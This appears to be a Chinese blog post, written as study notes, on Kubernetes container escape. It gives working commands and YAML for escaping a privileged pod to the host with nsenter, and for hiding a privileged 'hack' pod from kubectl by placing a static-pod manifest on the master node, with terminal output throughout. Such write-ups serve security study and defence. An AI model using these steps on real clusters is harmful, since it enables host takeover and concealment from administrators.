本文是读完 Detecting a Container Escape with Cilium and eBPF使用 Cilium 增强 Kubernetes 网络安全 的一个简单总结。

如何从 Pod 逃逸到 Host

通常为了安全起见,生产环境的 docker image 都要求不使用 root,一般都是在 Dockerfile 中指定 USER xxx,这样启动的 container/pod 是使用非特权的 user,这样的 user 是没法用 sudo 安装软件的。

有时为了能临时 debug,需要安装 vim, curl 之类的命令,又不想改动 Dockerfile 重新 build image,该怎么办呢?

一个 k8s 原生支持的方法是在 deployment 里面指定 securityContext,如下所示

$ cat privileged.yaml

apiVersion: v1
kind: Pod
metadata:
  name: privileged-the-pod
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: privileged-the-pod
    image: nginx:latest
    ports:
    - containerPort: 80
    securityContext:
      privileged: true

对于 docker container,可以在指定 docker run 命令时,设置 --user 为 0 也能获得 root 的 container。

那么我们就来试一试,在自己的 k8s 上部署上面的 Pod,

runz@node1:~$ kubectl get pod
NAME                 READY   STATUS    RESTARTS   AGE
privileged-the-pod   1/1     Running   0          14h

runz@node1:~$ kubectl exec -it privileged-the-pod bash
kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl kubectl exec [POD] -- [COMMAND] instead.
root@node1:/# ls
bin  boot  dev  docker-entrypoint.d  docker-entrypoint.sh  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
root@node1:/#

虽然切换到了 / 根目录下,但是这里的文件好像并不是 Host VM 上的根目录 ?

这是因为 bash 仍然出在他自己的进程的 cgroup namespace 中,并不是 Host 上的 cgroup namespace,我们选择一个 Host 上的进程,比如 PID 为 1 的进程,肯定就是 Host 的,然后加入它的 namespace。

root@node1:/# nsenter --target 1 --mount --uts --ipc --net /bin/bash
root@node1:/# ls
bin   cdrom  etc   initrd.img      lib    lost+found  mnt  proc  run   snap  swap.img  tmp  var      vmlinuz.old
boot  dev    home  initrd.img.old  lib64  media       opt  root  sbin  srv   sys       usr  vmlinuz
root@node1:/#

nsenter allows you to join the Linux namespaces of a targeted process id (PID).

First, run a container that shares your hosts PID namespace with –pid=host. The container has to be privileged with –privileged, otherwise executing nsenter will fail with an “Operation not permitted” error. The container is kept running indefinitely by executing tail -f /dev/null.

docker run --pid=host --privileged --name admin-container ubuntu:latest tail -f /dev/null

Then exec into the container with nsenter, entering the file system, ipc, utc and network namespace of the host machine’s very first init process (PID = 1):

docker exec -it admin-container nsenter --target 1 --mount --uts --ipc --net /bin/bash

Have a look around and you will notice, you are on the host machine.

终于,我们看到 Host 的根目录文件了,成功的从 Pod 里的虚拟环境逃逸到了 Host 的环境,就像我们直接 ssh 到 Host 上一样了。

我们可以运行 Host 上的任何命令,比如

# docker ps    // 显示 Host 所有的 container
# docker exec  // 进入到任何一个 container 中

# crictl ps  // 与 docker ps 一样

如果一个 container A 缺少常用命令,可以通过 docker run 启动另一个 container B,并且指定加入到 A 的 pid namespace,从而通过 B 自带的命令获取 A 的信息。比如

docker run -it --rm --pid=container:06c6cbbee85e busybox 

/ # ps aux
PID   USER     TIME  COMMAND
    1 root      0:00 nginx: master process nginx -g daemon off;
   31 101       0:00 nginx: worker process
   32 101       0:00 nginx: worker process
   
   64 root      0:00 sh
   69 root      0:00 ps aux

如何启动一个隐身的 Pod

我们用 kubectl apply -f 创建一个 Pod 时,kubectl 会把这个声明式请求发送给 K8S API Server,并且存在 etcd 上,之后有 k8s scheduler 通知每个 Node 上了 kubelet 创建 pod。 参考 link

从这个流程来看,我们没有办法创建了一个 k8s Pod 并且不显示在 kubectl get pod 的结果中。

但是,有一个例外就是位于 master node 上 /etc/kubernetes/manifests 中的 YAML file

bash-5.0# cd /etc/kubernetes/manifests/
bash-5.0# ls -l
total 20
-rw------- 1 root root 2289 Oct 13 12:40 etcd.yaml
-rw------- 1 root root 3595 Oct 13 12:40 kube-apiserver.yaml
-rw------- 1 root root 2895 Oct 13 12:40 kube-controller-manager.yaml
-rw------- 1 root root 1385 Oct 13 12:40 kube-scheduler.yaml

一般来说,我们是无法从 Pod 里面进入这个目录的,但是有了上文的 pod 逃逸,就变得可能了。

首先,我们要确保自己的 Pod 能被调度到 master node 上,否则如果 pod 运行在 worker node 上是没用的。

有的 k8s 会设置不允许用户的 pod 运行在 master 上,所以我们先要解除这个限制。

 kubectl taint node node1 node-role.kubernetes.io/master:NoSchedule-

如果我们没有权限解除,那么好像就没办法完成这个实验了。

接下来还是部署第一节中的 Pod,这次要加上 nodeSelector 选择调度到 master 节点 node1

kubectl label nodes node1 hostname=node1  // 先给 master 打个标签
apiVersion: v1
kind: Pod
metadata:
  name: privileged-the-pod
  namespace: privilege-test
spec:
  hostPID: true
  hostNetwork: true
  nodeSelector:
    hostname: node1
  containers:
  - name: privileged-the-pod
    image: nginx:latest
    ports:
    - containerPort: 80
    securityContext:
      privileged: true

然后,我们就能顺利的到达 master node 的 /etc/kubernetes/manifests/ 目录,放入准备好的 hack.yaml

apiVersion: v1
kind: Pod
metadata:
  name: hack-latest
  hostNetwork: true
  # define in namespace that doesn't exist so
  # workload is invisible to the API server
  #namespace: doesnt-exist
  nodeSelector:
    hostname: node1
spec:
  containers:
  - name: hack-latest
    image: sublimino/hack:latest
    command: ["/bin/sh"]
    args: ["-c", "while true; do sleep 10;done"]
    securityContext:
      privileged: true
  # Define the control plane node the privileged pod
  # will be scheduled to
  nodeName: node1

kubelet 会自动启动 YAML 中指定的 container,但是 kubectl 却不会显示


$ kubectl get pod --all-namespaces
NAMESPACE             NAME                                    READY   STATUS    RESTARTS   AGE
default               flask-server-786f96dd84-gbjt4           2/2     Running   0          16h
default               httpbin-66cdbdb6c5-5dwh9                2/2     Running   0          16h
privilege-test        privileged-the-pod                      1/1     Running   0          15h

而我们在 master node 中用 docker ps 却能看到这个 container

root@node1:/# crictl ps
CONTAINER ID        IMAGE                                                                                    CREATED             STATE               NAME                      ATTEMPT             POD ID
deba740b65526       sublimino/hack@sha256:569f3fd3a626a4cfd50e4556425216a5b8ab3d8bf9476c1b1c615b83ffe4000a   15 hours ago        Running             hack-latest               0                   350ce5f6e5d5f


root@node1:/# docker ps
CONTAINER ID        IMAGE                  COMMAND                  CREATED             STATUS              PORTS               NAMES
deba740b6552        sublimino/hack         "/bin/sh -c 'while t…"   15 hours ago        Up 15 hours                             k8s_hack-latest_hack-latest-node1_default_e3af594b9cf4c4b710645acba74fca37_0

参考资料

  1. https://atbug.com/enhance-kubernetes-network-security-with-cilium/
  2. https://isovalent.com/blog/post/2021-11-container-escape
  3. https://fuckcloudnative.io/posts/what-happens-when-k8s